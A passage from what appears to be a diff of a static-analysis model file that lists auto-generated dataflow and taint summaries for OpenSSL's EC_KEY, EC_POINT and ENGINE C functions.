*,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*keygen]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_set_sign", "(EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*sign]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_set_sign", "(EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*sign_setup]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_set_sign", "(EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..))", "", "Argument[3]", "Argument[*0].Field[*sign_sig]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_set_verify", "(EC_KEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*verify]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_set_verify", "(EC_KEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*verify_sig]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_clear_flags", "(EC_KEY *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "EC_KEY_copy", "(EC_KEY *,const EC_KEY *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "EC_KEY_copy", "(EC_KEY *,const EC_KEY *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_decoded_from_explicit_params", "(const EC_KEY *)", "", "Argument[*0].Field[**group].Field[*decoded_from_explicit_params]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_dup", "(const EC_KEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EC_KEY_get0_engine", "(const EC_KEY *)", "", "Argument[*0].Field[**engine]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_get0_engine", "(const EC_KEY *)", "", "Argument[*0].Field[*engine]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_get0_group", "(const EC_KEY *)", "", "Argument[*0].Field[**group]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_get0_group", "(const EC_KEY *)", "", "Argument[*0].Field[*group]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_get0_private_key", "(const EC_KEY *)", "", "Argument[*0].Field[**priv_key]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_get0_private_key", "(const EC_KEY *)", "", "Argument[*0].Field[*priv_key]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_get0_public_key", "(const EC_KEY *)", "", "Argument[*0].Field[**pub_key]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_get0_public_key", "(const EC_KEY *)", "", "Argument[*0].Field[*pub_key]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_get_conv_form", "(const EC_KEY *)", "", "Argument[*0].Field[*conv_form]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_get_enc_flags", "(const EC_KEY *)", "", "Argument[*0].Field[*enc_flag]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_get_ex_data", "(const EC_KEY *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "EC_KEY_get_flags", "(const EC_KEY *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_get_method", "(const EC_KEY *)", "", "Argument[*0].Field[**meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_get_method", "(const EC_KEY *)", "", "Argument[*0].Field[*meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_key2buf", "(const EC_KEY *,point_conversion_form_t,unsigned char **,BN_CTX *)", "", "Argument[1]", "Argument[**2]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_new_by_curve_name_ex", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**group].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_new_by_curve_name_ex", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_new_by_curve_name_ex", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[*1]", "ReturnValue[*].Field[**group].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_new_by_curve_name_ex", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_new_by_curve_name_ex", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[0]", "ReturnValue[*].Field[**group].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_new_by_curve_name_ex", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_new_by_curve_name_ex", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[1]", "ReturnValue[*].Field[**group].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "EC_KEY_new_by_curve_name_ex", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "EC_KEY_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "EC_KEY_new_method", "(ENGINE *)", "", "Argument[0]", "ReturnValue[*].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_oct2key", "(EC_KEY *,const unsigned char *,size_t,BN_CTX *)", "", "Argument[*1]", "Argument[*0].Field[*conv_form]", "taint", "dfc-generated"] + - ["", "", True, "EC_KEY_oct2key", "(EC_KEY *,const unsigned char *,size_t,BN_CTX *)", "", "Argument[1]", "Argument[*0].Field[*conv_form]", "taint", "dfc-generated"] + - ["", "", True, "EC_KEY_set_asn1_flag", "(EC_KEY *,int)", "", "Argument[1]", "Argument[*0].Field[**group].Field[*asn1_flag]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_set_conv_form", "(EC_KEY *,point_conversion_form_t)", "", "Argument[1]", "Argument[*0].Field[**group].Field[*asn1_form]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_set_conv_form", "(EC_KEY *,point_conversion_form_t)", "", "Argument[1]", "Argument[*0].Field[*conv_form]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_set_enc_flags", "(EC_KEY *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*enc_flag]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_set_flags", "(EC_KEY *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "EC_KEY_set_group", "(EC_KEY *,const EC_GROUP *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "EC_KEY_set_method", "(EC_KEY *,const EC_KEY_METHOD *)", "", "Argument[*1]", "Argument[*0].Field[**meth]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_set_method", "(EC_KEY *,const EC_KEY_METHOD *)", "", "Argument[1]", "Argument[*0].Field[*meth]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_set_private_key", "(EC_KEY *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "EC_METHOD_get_field_type", "(const EC_METHOD *)", "", "Argument[*0].Field[*field_type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_POINT_bn2point", "(const EC_GROUP *,const BIGNUM *,EC_POINT *,BN_CTX *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_POINT_bn2point", "(const EC_GROUP *,const BIGNUM *,EC_POINT *,BN_CTX *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EC_POINT_bn2point", "(const EC_GROUP *,const BIGNUM *,EC_POINT *,BN_CTX *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_POINT_dup", "(const EC_POINT *,const EC_GROUP *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_get_Jprojective_coordinates_GFp", "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_get_Jprojective_coordinates_GFp", "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_get_Jprojective_coordinates_GFp", "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_get_Jprojective_coordinates_GFp", "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_hex2point", "(const EC_GROUP *,const char *,EC_POINT *,BN_CTX *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_POINT_hex2point", "(const EC_GROUP *,const char *,EC_POINT *,BN_CTX *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_POINT_method_of", "(const EC_POINT *)", "", "Argument[*0].Field[**meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_POINT_method_of", "(const EC_POINT *)", "", "Argument[*0].Field[*meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_POINT_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "EC_POINT_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,const BIGNUM *,BN_CTX *)", "", "Argument[*4]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "EC_POINT_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,const BIGNUM *,BN_CTX *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "EC_POINT_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,const BIGNUM *,BN_CTX *)", "", "Argument[4]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "EC_POINT_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,const BIGNUM *,BN_CTX *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "EC_POINT_new", "(const EC_GROUP *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_oct2point", "(const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_oct2point", "(const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_point2bn", "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BIGNUM *,BN_CTX *)", "", "Argument[*3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "EC_POINT_point2bn", "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BIGNUM *,BN_CTX *)", "", "Argument[2]", "Argument[*3].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "EC_POINT_point2bn", "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BIGNUM *,BN_CTX *)", "", "Argument[2]", "ReturnValue[*].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "EC_POINT_point2bn", "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BIGNUM *,BN_CTX *)", "", "Argument[3]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_POINT_point2buf", "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char **,BN_CTX *)", "", "Argument[2]", "Argument[**3]", "value", "dfc-generated"] + - ["", "", True, "EC_POINT_point2hex", "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_point2oct", "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *)", "", "Argument[2]", "Argument[*3]", "value", "dfc-generated"] + - ["", "", True, "EC_POINT_point2oct", "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "EC_POINT_set_Jprojective_coordinates_GFp", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*4].Field[*neg]", "Argument[*0].Field[**field].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "EC_POINT_set_Jprojective_coordinates_GFp", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*4].Field[*neg]", "Argument[*1].Field[**Z].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "EC_POINT_set_compressed_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_set_compressed_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_set_compressed_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_set_compressed_coordinates_GF2m", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_set_compressed_coordinates_GF2m", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_set_compressed_coordinates_GF2m", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_set_compressed_coordinates_GFp", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_set_compressed_coordinates_GFp", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_set_compressed_coordinates_GFp", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "EC_POINTs_make_affine", "(const EC_GROUP *,size_t,EC_POINT *[],BN_CTX *)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "EC_POINTs_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *)", "", "Argument[**5]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "EC_POINTs_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *)", "", "Argument[*2]", "Argument[**5]", "value", "df-generated"] + - ["", "", True, "EC_POINTs_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *)", "", "Argument[*4]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "EC_POINTs_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *)", "", "Argument[*5]", "Argument[**5]", "taint", "dfc-generated"] + - ["", "", True, "EC_POINTs_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *)", "", "Argument[*5]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "EC_PRIVATEKEY_free", "(EC_PRIVATEKEY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "EC_PRIVATEKEY_free", "(EC_PRIVATEKEY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "EC_ec_pre_comp_dup", "(EC_PRE_COMP *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "EC_ec_pre_comp_dup", "(EC_PRE_COMP *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_nistz256_pre_comp_dup", "(NISTZ256_PRE_COMP *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "EC_nistz256_pre_comp_dup", "(NISTZ256_PRE_COMP *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EDIPARTYNAME_free", "(EDIPARTYNAME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "EDIPARTYNAME_free", "(EDIPARTYNAME *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ENGINE_add", "(ENGINE *)", "", "Argument[*0]", "Argument[*0].Field[**prev].Field[**next]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_add", "(ENGINE *)", "", "Argument[0]", "Argument[*0].Field[**prev].Field[*next]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_cmd_is_executable", "(ENGINE *,int)", "", "Argument[*0].Field[*cmd_defns]", "Argument[*0].Field[**cmd_defns]", "taint", "dfc-generated"] + - ["", "", True, "ENGINE_ctrl", "(ENGINE *,int,long,void *,..(*)(..))", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ENGINE_ctrl", "(ENGINE *,int,long,void *,..(*)(..))", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ENGINE_ctrl_cmd", "(ENGINE *,const char *,long,void *,..(*)(..),int)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ENGINE_ctrl_cmd", "(ENGINE *,const char *,long,void *,..(*)(..),int)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ENGINE_ctrl_cmd_string", "(ENGINE *,const char *,const char *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ENGINE_ctrl_cmd_string", "(ENGINE *,const char *,const char *,int)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ENGINE_get_DH", "(const ENGINE *)", "", "Argument[*0].Field[**dh_meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_DH", "(const ENGINE *)", "", "Argument[*0].Field[*dh_meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_DSA", "(const ENGINE *)", "", "Argument[*0].Field[**dsa_meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_DSA", "(const ENGINE *)", "", "Argument[*0].Field[*dsa_meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_EC", "(const ENGINE *)", "", "Argument[*0].Field[**ec_meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_EC", "(const ENGINE *)", "", "Argument[*0].Field[*ec_meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_RAND", "(const ENGINE *)", "", "Argument[*0].Field[**rand_meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_RAND", "(const ENGINE *)", "", "Argument[*0].Field[*rand_meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_RSA", "(const ENGINE *)", "", "Argument[*0].Field[**rsa_meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_RSA", "(const ENGINE *)", "", "Argument[*0].Field[*rsa_meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_ciphers", "(const ENGINE *)", "", "Argument[*0].Field[*ciphers]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_cmd_defns", "(const ENGINE *)", "", "Argument[*0].Field[**cmd_defns]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_cmd_defns", "(const ENGINE *)", "", "Argument[*0].Field[*cmd_defns]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_ctrl_function", "(const ENGINE *)", "", "Argument[*0].Field[*ctrl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_destroy_function", "(const ENGINE *)", "", "Argument[*0].Field[*destroy]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_digests", "(const ENGINE *)", "", "Argument[*0].Field[*digests]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_ex_data", "(const ENGINE *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ENGINE_get_finish_function", "(const ENGINE *)", "", "Argument[*0].Field[*finish]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_flags", "(const ENGINE *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_id", "(const ENGINE *)", "", "Argument[*0].Field[**id]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_id", "(const ENGINE *)", "", "Argument[*0].Field[*id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_init_function", "(const ENGINE *)", "", "Argument[*0].Field[*init]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_load_privkey_function", "(const ENGINE *)", "", "Argument[*0].Field[*load_privkey]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_load_pubkey_function", "(const ENGINE *)", "", "Argument[*0].Field[*load_pubkey]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_name", "(const ENGINE *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_name", "(const ENGINE *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_next", "(ENGINE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ENGINE_get_next", "(ENGINE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ENGINE_get_pkey_asn1_meths", "(const ENGINE *)", "", "Argument[*0].Field[*pkey_asn1_meths]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_pkey_meths", "(const ENGINE *)", "", "Argument[*0].Field[*pkey_meths]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_prev", "(ENGINE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ENGINE_get_prev", "(ENGINE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ENGINE_get_ssl_client_cert_function", "(const ENGINE *)", "", "Argument[*0].Field[*load_ssl_client_cert]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_DH", "(ENGINE *,const DH_METHOD *)", "", "Argument[*1]", "Argument[*0].Field[**dh_meth]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_DH", "(ENGINE *,const DH_METHOD *)", "", "Argument[1]", "Argument[*0].Field[*dh_meth]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_DSA", "(ENGINE *,const DSA_METHOD *)", "", "Argument[*1]", "Argument[*0].Field[**dsa_meth]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_DSA", "(ENGINE *,const DSA_METHOD *)", "", "Argument[1]", "Argument[*0].Field[*dsa_meth]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_EC", "(ENGINE *,const EC_KEY_METHOD *)", "", "Argument[*1]", "Argument[*0].Field[**ec_meth]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_EC", "(ENGINE *,const EC_KEY_METHOD *)", "", "Argument[1]", "Argument[*0].Field[*ec_meth]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_RAND", "(ENGINE *,const RAND_METHOD *)", "", "Argument[*1]", "Argument[*0].Field[**rand_meth]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_RAND", "(ENGINE *,const RAND_METHOD *)", "", "Argument[1]", "Argument[*0].Field[*rand_meth]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_RSA", "(ENGINE *,const RSA_METHOD *)", "", "Argument[*1]", "Argument[*0].Field[**rsa_meth]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_RSA", "(ENGINE *,const RSA_METHOD *)", "", "Argument[1]", "Argument[*0].Field[*rsa_meth]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_ciphers", "(ENGINE *,ENGINE_CIPHERS_PTR)", "", "Argument[1]", "Argument[*0].Field[*ciphers]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_cmd_defns", "(ENGINE *,const ENGINE_CMD_DEFN *)", "", "Argument[*1]", "Argument[*0].Field[**cmd_defns]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_cmd_defns", "(ENGINE *,const ENGINE_CMD_DEFN *)", "", "Argument[1]", "Argument[*0].Field[*cmd_defns]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_ctrl_function", "(ENGINE *,ENGINE_CTRL_FUNC_PTR)", "", "Argument[1]", "Argument[*0].Field[*ctrl]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_destroy_function", "(ENGINE *,ENGINE_GEN_INT_FUNC_PTR)", "", "Argument[1]", "Argument[*0].Field[*destroy]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_digests", "(ENGINE *,ENGINE_DIGESTS_PTR)", "", "Argument[1]", "Argument[*0].Field[*digests]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_finish_function", "(ENGINE *,ENGINE_GEN_INT_FUNC_PTR)", "", "Argument[1]", "Argument[*0].Field[*finish]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_flags", "(ENGINE *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_id", "(ENGINE *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**id]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_id", "(ENGINE *,const char *)", "", "Argument[1]", "Argument[*0].Field[*id]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_init_function", "(ENGINE *,ENGINE_GEN_INT_FUNC_PTR)", "", "Argument[1]", "Argument[*0].Field[*init]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_load_privkey_function", "(ENGINE *,ENGINE_LOAD_KEY_PTR)", "", "Argument[1]", "Argument[*0].Field[*load_privkey]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_load_pubkey_function", "(ENGINE *,ENGINE_LOAD_KEY_PTR)", "", "Argument[1]", "Argument[*0].Field[*load_pubkey]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_load_ssl_client_cert_function", "(ENGINE *,ENGINE_SSL_CLIENT_CERT_PTR)", "", "Argument[1]", "Argument[*0].Field[*load_ssl_client_cert]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_name", "(ENGINE *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_name", "(ENGINE *,const char *)", "", "Argument[1]", "Argument[*0].Field[*name]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_pkey_asn1_meths", "(ENGINE *,ENGINE_PKEY_ASN1_METHS_PTR)", "", "Argument[1]", "Argument[*0].Field[*pkey_asn1_meths]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_pkey_meths", "(ENGINE *,ENGINE_PKEY_METHS_PTR)", "", "Argument[1]", 